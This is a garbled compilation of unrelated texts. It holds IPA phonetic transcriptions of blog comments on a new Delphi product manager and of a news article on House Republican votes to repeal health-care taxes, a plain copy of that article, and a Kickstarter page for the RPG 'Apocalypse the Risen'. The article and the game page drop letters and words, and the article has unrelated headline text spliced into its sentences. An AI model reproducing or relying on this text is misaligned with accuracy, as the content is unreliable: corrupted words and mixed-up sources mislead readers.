wɪθ ðə stæf laɪk ju fər ðə fˈjuʧər əv ˈdɛlfaɪ. wəns əˈgɛn, ɔl ðə bɛst ənd kənˌgræʧəˈleɪʃən! ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər joʊ hi də ˈdɛlfaɪ noʊ ˈsoʊˌloʊ səs ˈsaɪnoʊ səs (empecé*é kɑn ˈtərboʊ pæˈskæl ə də lɔs 80s*). lɑ ə aɪˈdiəz waɪ ˈpɛrə loʊ siguiente*: ɛl də də kju ˈdɛlfaɪ hɑ ɛl sən lɔs aspectos*; pəroʊ, ɛn mi ˈkɑsoʊ, waɪ kju ɛn ɛl də, kju lɑ meɪər ˈfælə ɛs ɛl noʊ ɛl ˈvælər kju, ə empresariales*, ɛs ɛl æl lɑ ˈpɑrteɪ də ɛn ˈlɪnəks. ɛn mi país*, waɪ, ˈɑstə dɑnd conozco*, ɛn ɛn ˈʤɛnərəl, ə empresarial*, ˈwɪndoʊz doʊˈminə lɑ dɛl mərˈkɑdoʊ. pɔr ello*, ˈtɛnər ɛl ɛn ˈunə ˈlɪnəks, noʊ ɛs ˈpɛrə ɛl empresario*, jɑ kju lɔs, pɔr lɑ də ˈjuˈɛn ɛn ˈlɪnəks kəmˈpætəbəl kɑn, ˈwɪndoʊz waɪ pɔr ello*, sɪn loʊ bˈweɪnoʊ kju ˈjuˈɛn ɛn ˈlɪnəks, noʊ ə ˈlɪnəks. ɛn cambio*, ˈtɛnər lɑ ˈpɑrteɪ də wɛb ɛn ˈlɪnəks ˈjuˈɛn də ˈpɛrə ellos*, waɪ ɛs ɛl ˈprɪnsəpəl kju lɛs ˈdɛlfaɪ; də hecho*, ɛn loʊ ˈpərsɪnəl, ɛl dɛl hɑ ˈpɛrə kju noʊ mi mi ˈkoʊmoʊ lɑ ɛn ˈunə noʊ actualizaré*é mi ˈdɛlfaɪ ˈɑstə noʊ kəmˈpaɪl æl lɑ ˈpɑrteɪ də ˈpɛrə ˈlɪnəks ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˌgræʧəˈleɪʃənz, ˈmɑrkoʊ! ɛz ˈsəmˌwən huz fərst ˈsæləri wɑz fər ˈtərboʊ pæˈskæl' ˈprɑʤɛkt, aɪ hæv dip ˈfilɪŋz əˈbaʊt (ˈbɔrlənd) pæˈskæl ənd ˈdɛlfaɪ. aɪ hoʊp ju kən pərsˈweɪd ðə foʊks ˈoʊvər ðɛr tɪ rɪˈvaɪv ðə ˈtərboʊ ˈdɛlfaɪ ənd lɛt ˈjəŋgər foʊks (ənd ˈoʊldər wənz laɪk mi hu du nɑt nid dɪˈvɛləpmənt ˈprɑdəkt) tɪ kip ɪn təʧ wɪθ ˈdɛlfaɪ. ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər kənˈgræts ˈmɑrkoʊ ɪn jʊr nu roʊl æt ɛmˌbɑrkəˈdɛroʊ. aɪ hæv trænzˈleɪtəd bɪˈloʊ ðə ˈkɑmɛnt ˈpoʊstɪd ɪn ˈspænɪʃ baɪ roʊˈlɑndoʊ. ʧɪrz yanniel*. "kənˌgræʧəˈleɪʃənz!!, aɪ hæv bɪn ə ˈdɛlfaɪ ˈjuzər nɑt ˈoʊnli frəm ɪts ˌɪnˈsɛpʃən bət ˈivɪn frəm ðə taɪm əv ɪts ˈænˌsɛstərz (aɪ bɪˈgæn wɪθ ˈtərboʊ pæˈskæl ɪn ðə ˈmɪdəl əv ðə 80th*). aɪ wɔnt tɪ teɪk ædˈvæntɪʤ əv jʊr ˌɪnvɪˈteɪʃən ɪn ˈɔrdər tɪ prəˈvaɪd səm θɔts ənd kənˈstrəktɪv ˈkrɪtɪˌsɪzəm: aɪ ʃɛr ðə ˈfilɪŋz əv ˈmɛni ˈjuzərz əˈbaʊt ˈdɛlfaɪ ˈteɪkɪŋ ðə rɔŋ pæθ sɪns ˈmɛni jɪrz əˈgoʊ. ðɛr ər ˈmɛni ˈæˌspɛkts; bət ɪn maɪ keɪs, ənd aɪ bɪˈliv ðɪs ɪz ˈɔlsoʊ ðə keɪs fər ˈmɛni ˈəðərz, ðə ˈmeɪʤər ˈfeɪljər ɪz nɑt ˌɪnˈklud ðə əv biɪŋ ˈeɪbəl tɪ kəmˈpaɪl tɪ ˈlɪnəks æt list ðə ˈsərvər saɪd koʊd. ðɪs ɪz ðə moʊst sɪgˈnɪfɪkənt ˈæˌspɛkt fər ðoʊz laɪk mi ˈhævɪŋ ˈbɪznɪs ˈvərʒənz. ɪn maɪ ˈkəntri, ənd tɪ ðə bɛst əv maɪ ˈnɑlɪʤ ɪn ˈlætən əˈmɛrɪkə, ˈwɪndoʊz ˈdɑməˌneɪts ðə ˈmɑrkɪt ɪn ðə ˈbɪznɪs ˈɛriə. bɪˈkəz əv ðət, ˈhævɪŋ ðə klaɪənt ɪn ə ˈlɪnəks bɑks ɪz nɑt ˈvɛri əˈtræktɪv tɪ ðə ˌɑntrəprəˈnʊr; sɪns ðə ˈjuzərz, du tɪ ðə læk əv ə gʊd səˈpɔrt əv ɪn ˈlɪnəks, ˈɔlˌweɪz ˌrikˈwaɪər ˈwɪndoʊz. rəˈgɑrdləs əv haʊ gʊd ɪz ɑr ˈlɪnəks ˌæpləˈkeɪʃən, ðoʊz ˈjuzərz ʧeɪnʤ tɪ ˈlɪnəks. ɔn ðə ˈəðər hænd, ˈhævɪŋ ðə ˈsərvər saɪd (wɛb) ɪn ˈlɪnəks brɪŋz sɪgˈnɪfɪkənt ˈseɪvɪŋz fər ðə ˌɑntrəprəˈnərz; ðə meɪn ˈprɑbləm wɪn wi ˈɔfər ɑr ˈdɛlfaɪ səˈluʃən tɪ ðɛm. ɛz ə fækt, ɪn maɪ ˈpərsɪnəl keɪs, ðə ˈsərvər kɔst wɑz ðə ˈrizən tɪ luz ə fju ˈbɪznɪs dilz. maɪ pəˈtɪʃən ɛz ə ˈjuzər ɪz ˈsəmərˌaɪzd ˈɪntu wən laɪn: aɪ ˈəpˌdeɪt maɪ ˈdɛlfaɪ aɪd ənˈtɪl ɪt ɪz ˈeɪbəl tɪ kəmˈpaɪl tɪ ˈlɪnəks æt list ðə ˈsərvər saɪd." ˈkɑmɛnt baɪ roʊˈlɑndoʊ ɔn noʊˈvɛmbər 18 ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər loʊ ɛs kju ˈdɛlfaɪ ə ɛl də ˈpɛrə wɪn, mæk waɪ ˈlɪnəks waɪ də krɪr wɛb sɪn ˈmuʧoʊ sɪn lɑ də ˈdɛlfaɪ. lɑ ə ˈpunˌtoʊ də ˈɛsteɪ græn də kju lɑ ˈvərʒən ˈɑstə lɑ ˈvərʒən 2010 gəˈstɑvoʊ diˈeɪgoʊ ˌɑˈʧoʊə pɑniˈɑgə lɑ pɑz bəˈlɪviə ˈʤɔɪnɪŋ ɛmˌbɑrkəˈdɛroʊ ɛz ˈdɛlfaɪ ˈprɑdəkt ˈmænɪʤər ˈmɑrkoʊ pɔr ˈɛsteɪ nˈweɪvoʊ waɪ kju ˈdɛlfaɪ də waɪ ˈɛsteɪ ɛn ˌtuˈduz lɔs operativos*. wɑn méxico*. poʊst jʊr ˈkɑmɛnt klɪk hir fər ˈpoʊstɪŋ jʊr ˈfidˌbæk tɪ ðɪs blɔg. ðɛr ər ˈkərəntli 0 ˈpɛndɪŋ (ˌənəˈpruvd) ˈmɛsɪʤɪz. |
with a supreme court decision on healthcare fast approaching, house republicans are doubling down on efforts to bring attention toesident signature legislative issue.
the effort, which includes votes on several measures to repeal taxes under the law, is intended to highlight unpopular aspects of the landmark bill as theesidential campaign between obama and republican mitt romney heats up.
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the house next week will consider measures to repeal taxes imposed on medical devices and medication.
house majority leader eric cantor eric ivan warns: nextesident could declare national emergency on guns ousted lawmaker david brat named dean at liberty university business school trump, seek to shift blame for shutdown to pelosi more (r-va.) announced the votes late last month, and called the tax on medical devices in particularly “draconian” in a memo sent to lawmakers.
democrats argue the effort is political and timed for the supreme court decision, which is expected this month. on friday, romney criticized handling of the economy, arguing the nation would be creating more jobs if obama had not focused on healthcare in 2009 and 2010.
rep. rob andrews (d-n.j.) a key player in brokering deals within his party to pass the healthcare bill called the upcoming debate a “waste of time” and said the house should be focus on legislation to create jobs.
“(the timing) isobably not coincidental, i think the republicans are trying to poison the well before the court decision,” andrews said in an interview with the hill.
house republicans, who rode a wave of voter outrage into power in 2010 unfurled in part by the healthcare law, dismiss theocratic arguments.
“well, i'm glad they are giving us that much credit in planning but obviously the medical tax bill has had a lot of bipartisan support for many weeks,” ways and means chairman dave camp (r-mich.) told the hill.
only twoocrats on the ways and means committee, reps. ron kind ronald (ron) james lobby's blitz can't paper over damaging effects of tariffs congress should stop tariff power grab, bring balance to us trade policy sparks debate with talk of 70 percent marginal rate more (wis.) and shelly berkley (nev.) supported the medical device and drug bills at.
debate at lengthyovided a flavor of what to expect when the measures hit the floor mid-week.
republicans argued that the bills will create and save jobs in the medical device industry.
veteranocratic lawmaker, rep. jim mcdermott james (jim) adelbert world lawmaker: israel's accusations start of 'war on the american government' to trump on house floor: ‘stop tweeting’ more (wash.) scoffed at the’s “job creation” argument, calling the idea “nonsense.”
“it is not going to save jobs because you don't know what the impact is in fact, the evidence is that it doesn't lose jobs,” the liberal lawmaker told his colleagues. | wɪθ ə səˈprim kɔrt dɪˈsɪʒən ɔn ˈhɛlθˌkɛr fæst əˈproʊʧɪŋ, haʊs rɪˈpəblɪkənz ər ˈdəbəlɪŋ daʊn ɔn ˈɛfərts tɪ brɪŋ əˈtɛnʃən tɪ ˈprɛzɪdənt ˈsɪgnəʧər ˈlɛʤəsˌleɪtɪv ˈɪʃu. ðə ˈɛfərt, wɪʧ ˌɪnˈkludz voʊts ɔn ˈsɛvərəl ˈmɛʒərz tɪ rɪˈpil ˈtæksɪz ˈəndər ðə lɔ, ɪz ˌɪnˈtɛndɪd tɪ ˈhaɪˌlaɪt ˌənˈpɑpjələr ˈæˌspɛkts əv ðə ˈlændˌmɑrk bɪl ɛz ðə ˌprɛzɪˈdɛnʃəl kæmˈpeɪn bɪtˈwin ˌoʊˈbɑmə ənd rɪˈpəblɪkən mɪt ˈrɑmni hits əp. ˌædvərˈtaɪzmənt ðə haʊs nɛkst wik wɪl kənˈsɪdər ˈmɛʒərz tɪ rɪˈpil ˈtæksɪz ˌɪmˈpoʊzd ɔn ˈmɛdɪkəl dɪˈvaɪsɪz ənd ˌmɛdəˈkeɪʃən. haʊs məˈʤɔrəti ˈlidər ˈɛrɪk ˈkæntər ˈɛrɪk ˈaɪvən wɔrnz: nɛkst ˈprɛzɪdənt kʊd dɪˈklɛr ˈnæʃənəl ˈimərʤənsi ɔn gənz ˈaʊstɪd ˈlɔˌmeɪkər ˈdeɪvɪd bræt neɪmd din æt ˈlɪbərˌti ˌjunəˈvərsəti ˈbɪznɪs skul trəmp, sik tɪ ʃɪft bleɪm fər ˈʃətˌdaʊn tɪ pɛˈloʊsi mɔr (r-va*.) əˈnaʊnst ðə voʊts leɪt læst mənθ, ənd kɔld ðə tæks ɔn ˈmɛdɪkəl dɪˈvaɪsɪz ɪn ˌpɑrˈtɪkjələrli ““draconian”*” ɪn ə ˈmɛˌmoʊ sɛnt tɪ ˈlɔˌmeɪkərz. ˈdɛməˌkræts ˈɑrgju ðə ˈɛfərt ɪz pəˈlɪtɪkəl ənd taɪmd fər ðə səˈprim kɔrt dɪˈsɪʒən, wɪʧ ɪz ɪkˈspɛktɪd ðɪs mənθ. ɔn ˈfraɪˌdeɪ, ˈrɑmni ˈkrɪtəˌsaɪzd ˈhændəlɪŋ əv ðə ɪˈkɑnəmi, ˈɑrgjuɪŋ ðə ˈneɪʃən wʊd bi kriˈeɪtɪŋ mɔr ʤɑbz ɪf ˌoʊˈbɑmə hæd nɑt ˈfoʊkɪst ɔn ˈhɛlθˌkɛr ɪn 2009 ənd 2010 rɛpriˈzɛtətɪv. rɑb ˈænˌdruz (d-n.j*.) ə ki pleɪər ɪn ˈbroʊkərɪŋ dilz wɪˈθɪn hɪz ˈpɑrti tɪ pæs ðə ˈhɛlθˌkɛr bɪl kɔld ðə ˈəpˌkəmɪŋ dəˈbeɪt ə əv time”*” ənd sɛd ðə haʊs ʃʊd bi ˈfoʊkɪs ɔn ˌlɛʤəsˈleɪʃən tɪ kriˈeɪt ʤɑbz. ˈtaɪmɪŋ) ɪz ˈprɑbəˌbli nɑt koʊˌɪnsəˈdɛntəl, aɪ θɪŋk ðə rɪˈpəblɪkənz ər traɪɪŋ tɪ ˈpɔɪzən ðə wɛl ˌbiˈfɔr ðə kɔrt decision,”*,” ˈænˌdruz sɛd ɪn ən ˈɪntərvˌju wɪθ ðə hɪl. haʊs rɪˈpəblɪkənz, hu roʊd ə weɪv əv ˈvoʊtər ˈaʊˌtreɪʤ ˈɪntu paʊər ɪn 2010 ənˈfərld ɪn pɑrt baɪ ðə ˈhɛlθˌkɛr lɔ, dɪsˈmɪs ðə ˌdɛməˈkrætɪk ˈɑrgjəmənts. ““well*, əm glæd ðeɪ ər ˈgɪvɪŋ ˈjuˈɛs ðət məʧ ˈkrɛdɪt ɪn ˈplænɪŋ bət ˈɑbviəsli ðə ˈmɛdɪkəl tæks bɪl həz hæd ə lɔt əv baɪˈpɑrtɪzən səˈpɔrt fər ˈmɛni weeks,”*,” weɪz ənd minz ˈʧɛrmən deɪv kæmp (r-mich*.) toʊld ðə hɪl. ˈoʊnli tu ˈdɛməˌkræts ɔn ðə weɪz ənd minz kəˈmɪti, rɛps. rɑn kaɪnd ˈrɑnəld (rɑn) ʤeɪmz ˈlɑbiz blɪts kænt ˈpeɪpər ˈoʊvər ˈdæmɪʤɪŋ ˈifɛkts əv ˈtɛrəfs ˈkɑŋgrəs ʃʊd stɑp ˈtɛrəf paʊər græb, brɪŋ ˈbæləns tɪ ˈjuˈɛs treɪd ˈpɑləsi spɑrks dəˈbeɪt wɪθ tɔk əv 70 pərˈsɛnt ˈmɑrʤənəl reɪt mɔr (wɪs.) ənd ˈʃɛli ˈbərkli (nev*.) səˈpɔrtɪd ðə ˈmɛdɪkəl dɪˈvaɪs ənd drəg bɪlz æt. dəˈbeɪt æt ˈlɛŋθi prəˈvaɪdɪd ə ˈfleɪvər əv wət tɪ ɪkˈspɛkt wɪn ðə ˈmɛʒərz hɪt ðə flɔr mid-week*. rɪˈpəblɪkənz ˈɑrgjud ðət ðə bɪlz wɪl kriˈeɪt ənd seɪv ʤɑbz ɪn ðə ˈmɛdɪkəl dɪˈvaɪs ˈɪndəstri. ˈvɛtərən ˌdɛməˈkrætɪk ˈlɔˌmeɪkər, rɛpriˈzɛtətɪv. ʤɪm məkˈdərmət ʤeɪmz (ʤɪm) əˈdɛlbərt wərld ˈlɔˌmeɪkər: ˈɪzriəlz ˌækjəˈzeɪʃənz stɑrt əv 'wɔr ɔn ðə əˈmɛrɪkən ˈgəvərnmənt' tɪ trəmp ɔn haʊs flɔr: tweeting’*’ mɔr (wɑʃ.) skɔft æt ðə creation”*” ˈɑrgjəmənt, ˈkɔlɪŋ ðə aɪˈdiə ““nonsense.”*.” ɪz nɑt goʊɪŋ tɪ seɪv ʤɑbz bɪˈkəz ju doʊnt noʊ wət ðə ˌɪmˈpækt ɪz ɪn fækt, ðə ˈɛvədəns ɪz ðət ɪt ˈdəzənt luz jobs,”*,” ðə ˈlɪˌbərəl ˈlɔˌmeɪkər toʊld hɪz ˈkɑligz. |
apocalypse the risen campaign setting is a fantasy horror based on earth, twenty-five years after the fall of society, in an event known as the rise; when demons rose to power and the risen dead first appeared. this game is being offered in both dungeon and dragons edition and pathfinder roleplaying game compatible system formats.
apocalypse the risen thrusts you into the role of a resolute survivor, forging through the ashes of humanity on an earth besieged by demons and the as risen. twenty-five years after the collapse of society, humankind and their new allies now fight back. you are a survivor of the light battling the forces of darkness.
players in this world take on the role of a hunter relied upon by your colony for resources and protection. you may be human or one of three other races new to earth. your colony is your home and responsibility, but soon you may discover the world smaller and filled with even more wonder than you could imagine.
channels cut through the ether quickly spanning great distances, shortening travel and adding to discovery. form in places of great sorrow or suffering. supernatural energy and radiation twist and collide in great storms sweeping across the landscape. you stand against demons, risen, mutated beasts, and desperate people who look to destroy those you love.
apocalypse the risen campaign setting will be printed as a full color hardback book including detailed page layout and spot finish touches on the cover. cover examples and spread layout below:
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“campaign” stretch goals increased book content! like a horde of risen feeding on the living, the content within the apocalypse the risen campaign setting grows as these stretch goals are unlocked! backers with this stretch goal category will receive all unlocked campaign setting content including in the book.
“adventure” stretch goals from the journal of dr. dobrin, from adventure hooks and places of interest, to short stories from the point of view from our iconic heroes. all unlocked stretch goals will be included in layout, written from the viewpoint of renowned dr. nicholas dobrin. backers with this stretch goal category will also receive all unlockedsocial media” stretch goals.
“war chest” stretch goals more materials for your game session! you need every tool you can muster to help stalwart hunters battle back against the darkness! as each stretch goal is met, backers with thewar chest” stretch goal category will receive all unlocked scavenge maps, adventures, and more!
“social media” campaign:
backers with the adventure stretch goal category gain access to the social media campaign
” stretch goal category gain access to the social media campaign receive all unlockedtruth transmissions”, professionally recorded in character by ham radio operator,truth.”
help grow the rusted portal colony!
stretch goals!
apocalypse the risen campaign setting
atr campaign setting) - $25
atr campaign setting (5e) - $25
atr campaign setting print) - $45
atr campaign setting print (5e) - $45
designer! build your colony (5e &) - $50
retailer hardback book (5e or) - $90
atr character sheet pad (25 count)) - $15
atr character sheet pad (25 count) (5e) - $15
atr screen - $15
iconics - character builds) - $15
iconics - character builds (5e) - $15
unlocked stretch goals
1st level adventure or)) - $10
scavenge map 1) - $5
2nd level adventure or)) - $10
scavenge map 2) - $5
3rd level adventure or)) - $10
scavenge map 3) - $5
journal of nicholas dobrin) - $15
impact of the rise the events of the rise happened suddenly. the risen crawled from their graves all at once, millions of hungry dead seeking to feed on the living. the immediate threat forced humanity to abandon their homes and seek refuge away from population centers. cities and communities filled with resources touched only by time.
colonies the era of the metropolis is no more. colonies speckle the landscape, groups fighting for survival. some try to hide and protect what is theirs, others take what weaker colonies cannot defend, but most seek other colonies for trade and support.
resources earth after the rise has no need for cash, jewels, or precious metals. in apocalypse the risen, the people of earth have identified three primary forms of currency:, consumable, and mechanical resources. these resources are used in trade and used in the building and fueling of the limited technology of the world.
post-rise lifestyle technology is not what it used to be and gear is tough to acquire. for most of the last twenty-five years humanity has been fighting for survival, carving out a new place in the hierarchy of the world. weapons, armor, and a variety of equipment comes with modification options.
special materials influenced by supernatural energy, ancient metallurgy, ingenuity, or otherworldly sources, below are some examples of apocalypse the risen materials. some examples below.
meteoric iron iron from meteors collected supernatural energy when outside the magically suppressed earth. since the seals were broken, this energy has making an extremely hard and durable metal for weapons and armor.
dark steel metal deposits mined in supernatural infused has taken on near magical properties with dangers.
diamond steel taking a page from modern drilling techniques and an abundance of diamonds with little value, diamond steel makes for extremely sharp blades.
antiquity bronze relics and artifacts from ancient times, antiquity bronze weapons and armor provide unique properties since the breaking of the seals.
humans - humanities ability to adapt and overcome is at the forefront of the design. traits: skilled and stalwart
descended - fallen angels hailing from one of three separate angelic banners, each providing different physical traits and abilities as they advance in level. banners:
serephim (halo and wings of fire)
cherubim (halo of light and feathered wings)
throne (halo and wings of gold)
progeny - from one of seven unique sin nature sub-types, each providing different abilities and hindrances. additionally, the race selects from a variety of physical characteristics. sin nature traits:
lust: pheromones & erratic
gluttony: binge & compulsive
greed: drain & treacherous
sloth: good enough & procrastinating
wrath: vengeful strike & vindictive
envy: covet &
pride: hubris & arrogant
lazarus - free spirits escaped from purgatory and taken physical form on earth. this race holds distant memories and a connection to the supernatural. traits: tortured souls, distant memories, supernatural bonds, spell selection
arbiter the arbiter is the ultimate warrior of faith and unquestioned hand of justice in a world with no clear right and wrong. they stand alone as judge, jury, and frequently executioner both within the colony and abroad. the arbiter is driven by an inner sense of justice and a burning faith to eradicate and demonic entities.
conservator sacred earth protector, the conservator is dedicated to setting straight the natural order in a world gone wrong. by tapping into natural pathways of power, the conservator becomes a conduit for energies flowing through ley lines. hidden powerlines, ley lines connect nodes sites such as cairns, standing stones, and circles. as the conservator becomes more skilled they learn to create their own powerful site in this energy network. they believes that the the hordes of are an affront to nature's order and that disrupt the natural flow of energies. the conservator is more wasteland environmentalist than traditional druid.
enforcer the enforcer is a hardened killer, forged in the madness of the world after the rise and molded from a keen sense of survival. enforcers are skilled in the most immediate implement of death at hand. where other warriors have refined combat skills or enhanced reactions, the enforcer simply does whatever it takes in battle. their tactics are often brutal and inherently violent, but in the end their goal is singular. survive at all costs.
harbinger a mystic of body and mind, the harbinger is a practitioner of intense mental discipline, striving to balance logic and emotion. by opening their eye through a process known as a mystic slip, the harbinger wields turbulent raw supernatural energy. channeling these tainted powers is only limited by the time allotted with a mystic slip, though casting individual spells beyond the limits of their mind risks insanity. this class is also a practitioner of other mental disciplines. harbingers are often viewed as strange, frequently misunderstood even among friends. regardless, the harbinger is respected for their heightened awareness and unique powers.
hound the ultimate survivor, experienced in living off the land. the hound hails from military stock, outdoor enthusiasts, hunters, and those regarding nature as something to be understood and respected. they are skilled in stealth, stalking, movement in combat, and survival. the hound becomes a very versatile combat class.
jackal are the ultimate scroungers. not only are they able to quickly and quietly move in and out of locations, but they have a keen understanding of where resources can be discovered. resources are vital to colony survival., consumable, and mechanical resources are not justn currency, they are the lifeblood of maintaining and improving living conditions. this represents the food you eat and the materials that maintain and improve the quality of life for the colony. nobody sniffs out resources like the jackal. the jackal selects from two career paths: finders and keepers. finders are those that aspire to be an archaeologist. keepers embrace the supernatural, gaining powers of concealment either outright hide things or magically disguising places.
maverick the ultimately lone wolf and consummate gunslinger, the maverick is a wasteland icon relied upon for their quick reaction and incredible talent. the world outside a colony is a dangerous place, filled with fierce and cunning dead, damned, and worse. few individuals can survive alone in such a dangerous world, and of that small lot you are likely to find a fair share of mavericks. the maverick is a separatist in spirit, though in practice they are some of the most valued members of a colony. training themselves in mental focus a maverick has honed their shooter reflexes to a edge and can anticipate the pitch of battle.
shepherd representing a colonies spiritual leadership, the shepherd looks after their flock while dedicating themselves to eradicating demon kind. the shepherd feels the call of faith to serve and preserve humanity. they focus their efforts in one of three paths, each providing different powers. while exemplifying some classic healer characteristics, the shepherd gains spells and abilities outside that norm. this class commands powers of persuasion, influence, and inspiration in addition to their otherworldly magic.
splicers are tinkers, mechanics, engineers, scientists, and inventors, offering colonies and hunting parties innovative solutions and powerful magic. preferring to avoid directly channeling the foul supernatural energy, they have learned to use technology to store the energy and fire those spells through their caster. spells require an attack roll, andmemorizing” these spells require creating afuse” that stores the spell and requires a combination of and mechanical resources. the caster takes up a single hand and must have some way of pointing and firing a spell.
more details about the classes can be found in the free downloads near the top of this campaign.
since the breaking of the seals, the poor souls passing into the afterlife are no longer able to cross into purgatory. the alternatives are equally tragic and varied. the following is a recap of the known consequences of death.
risen these creatures are the zombies of apocalypse the risen. most mindlessly feed on the living while some rare risen are sentient. as these creatures feed on the essence of the living they evolve into increasingly dangerous creatures. with numerous types of risen and custom, customizing encounters is a snap. pcs and others that perish are most likely to come back as some form of risen… unless one takes the necessary steps.
included risen: hungry, famished, and ravenous
risen to unlock: devourer, depraved, and horde
templates to unlock: starved, bloated, mutated, and infested
ghosts souls and fragments of raw emotions trapped and twisted with no path to purgatory seek to punish and kill the living. these souls were so tormented in life, or died so tragically, that at the time of death they formed a new being entirely. these creatures exist on both earth and in paradox simultaneously. did we not mention paradox?
included ghosts: (emotes) rage, loathing, terror, grief, and (true ghost) apparition
ghosts to unlock: shade, shadow, and poltergeist
demons demons are creations of the darkness, fractured by the light into their very sin nature and now taking a variety of forms on earth. in addition to separation by sin nature, demons vary by many different criteria, powers, and physical appearances. demons have a hierarchy among each other and the seven leaders, topped by pride. each faction maintains a tenuous agreement mostly based on fear, scheming and vying for power. demons fall into one of two types: shunned and embraced, all still within one of the seven sin natures.
included shunned: fire urchin (sloth), (gluttony)
shunned to unlock: dredge (lust), corrode (envy), (greed), angler (wrath), and (pride)
embraced to unlock: jobber (greed), lunatic (envy), and purifier (pride)
devils these creatures were once angels with dominion over various aspects of earth and humanity before giving in to the darkness. many of these creatures hid on earth when the seals were closed, avoiding being imprisoned in the lower realm. devils are a perverse and altered variant of their once angelic form.
devils to unlock: eclipse
these areas are infused with supernatural energy through tragedy or sorrow, now twisted and dangerous. vary widely in size and appearance. while all cause mutations, each have vastly different features often based on the events causing their change. produce terrible mutated flora and fauna, creating very dangerous beasts. perhaps worse, some colonies make their homes in, embracing the mutations and even worshiping the darkness. the twisted supernatural energy of do create some very interesting materials including: dark steel, dark bone, and dark glass.
darkland beasts dangerous flora and fauna mutated by the corrupting supernatural forces within. these once mundane creatures were already adapting to the new harsh reality of survival in earth. combined with horrifying mutations the once familiar animals are anything but familiar now.
darkland beasts to unlock: a variety of beasts and mutations added with expanded environmental hazards.
rusted portal games
donaven brines - game design
chad matson - lead developer, pathfinder
jason stolberg - lead developer, fifth edition
reid - game developer
jeff carter - logistics
alison hinch - art director
apocalypse the risen contributing artists
raven -
rodrigo vega - races
preston stone - ghosts, demons, and devil
vincent coviello - risen
christopher - demons
apocalypse the risen contributing writers
amy duboff - america region
ant tessitore - us region
jacob huebsch - us region
robert hazelton - us northeast region
james pianka - us west region
craig guarisco - us northwest region
jenna pitman - us southwest region
risen
you didn't make it but we greatly appreciate your sacrifice! track the campaign and receive access to updates.
survivor
congrats, you made it this far. thank you for your support and good luck out there.
atr wallpaper pack: receive a range of emotions in a four pack of digital wallpaper.
marauder
successful raid on the rusted portal colony! acquired something valuable without losing anyone in the effort. well done.
(choose either or) campaign setting): receive the heavily linked complete of the apocalypse the risen campaign setting for either fifth edition and pathfinder compatible.
receive the heavily linked complete of the apocalypse the risen campaign setting for either fifth edition and pathfinder compatible.campaign” stretch goals: your selected copy of the game (5e or) print) will include allcampaign” stretch goals unlocked throughout the course of this campaign. these stretch goals add a sizable amount of content into the final book.
your selected copy of the game (5e or) print) will include allcampaign” stretch goals unlocked throughout the course of this campaign. these stretch goals add a sizable amount of content into the final book. all rewards from survivor
reporter
you are accustomed to traveling light on your route between colonies. you trade in knowledge, rumor, and good will.
“adventure” stretch goals: receive all unlocked content from the social mediatruth transmissions” and all unlockedadventure” stretch goals for entries into the journal of dr. dobrin.
receive all unlocked content from the social mediatruth transmissions” and all unlockedadventure” stretch goals for entries into the journal of dr. dobrin.war chest” stretch goals: receive allwar chest” stretch goals in unlocked throughout the course of this campaign for the selected system or).
receive allwar chest” stretch goals in unlocked throughout the course of this campaign for the selected system or). all rewards from marauder (all material for either pathfinder or fifth edition)
colonist
finally, a place you can call home in this world gone mad. you have shelter, friends, people that look after you and rely on you. colonies are the first step from surviving toward thriving.
(choose either or) campaign setting (print): receive the full color hardback print of the apocalypse the risen campaign setting. fifth edition and pathfinder compatible.
receive the full color hardback print of the apocalypse the risen campaign setting. fifth edition and pathfinder compatible.adventure” stretch goals: receive all unlocked content from the social mediatruth transmissions” and all unlockedadventure” stretch goals for adventure entries into the journal of dr. dobrin.
receive all unlocked content from the social mediatruth transmissions” and all unlockedadventure” stretch goals for adventure entries into the journal of dr. dobrin. all rewards & stretch goals from marauder
scavenger
you have made your way in this world by finding valuable assets in unlikely places. overlooked resource hiding are no match for your skilled eye.
(both &) campaign setting): receive the heavily linked complete of the apocalypse the risen campaign setting includingeaster egg” watermark for both fifth edition and pathfinder compatible.
receive the heavily linked complete of the apocalypse the risen campaign setting includingeaster egg” watermark for both fifth edition and pathfinder compatible. rewards as per reporter but with all content for both pathfinder and fifth edition
goodsman
trade is vital to the health of a colony and you have found a niche delivering the goods. life on the road is always an adventure, but the colonies you trade with are happy to see you... usually.
(choose either or) character pad (25ct each) (print): receive a pad each of apocalypse the risen and character sheets. print job on high quality paper with a tear away glued top on a cardboard backer. great for campaign build sessions!
receive a pad each of apocalypse the risen and character sheets. print job on high quality paper with a tear away glued top on a cardboard backer. great for campaign build sessions!war chest” stretch goals: receive allwar chest” stretch goals unlocked throughout the course of this campaign.
receive allwar chest” stretch goals unlocked throughout the course of this campaign. all rewards & stretch goals from colonist
hunter
you put your safety on the line every day. if a hero exists on earth, the colony hunters would receive that honor. you are a warrior, through blades, guns or magic, scavenging earth and battling hordes of risen and the darkness for the betterment of your colony.
(choose either or) campaign setting (leather): exclusive! receive the full color apocalypse the risen campaign setting bound in leather (undoubtedly demon hide). fifth edition and pathfinder compatible.
kickstarter exclusive! receive the full color apocalypse the risen campaign setting bound in leather (undoubtedly demon hide). fifth edition and pathfinder compatible. all rewards & stretch goals from
legend
word of your exploits extends throughout the region. marauders avoid your colony for fear of retribution.
(both &) campaign setting): receive the heavily linked complete of the apocalypse the risen campaign setting includingeaster egg” watermark for both fifth edition and pathfinder compatible.
receive the heavily linked complete of the apocalypse the risen campaign setting includingeaster egg” watermark for both fifth edition and pathfinder compatible. (both &) campaign setting (print): receive the full color hardback print of the apocalypse the risen campaign setting. fifth edition and pathfinder compatible.
receive the full color hardback print of the apocalypse the risen campaign setting. fifth edition and pathfinder compatible. (both &) character pad (25ct each) (print): receive a pad each of apocalypse the risen and character sheets. print job on high quality paper with a tear away glued top on a cardboard backer.
receive a pad each of apocalypse the risen and character sheets. print job on high quality paper with a tear away glued top on a cardboard backer.handle” inscription: your handle name) will be added to the book as part of the rusted portal colony. your place of honor will go down in apocalypse the risen history!
your handle name) will be added to the book as part of the rusted portal colony. your place of honor will go down in apocalypse the risen history! screen: receive a full color screen including incredible apocalypse the risen art and valuable tools.
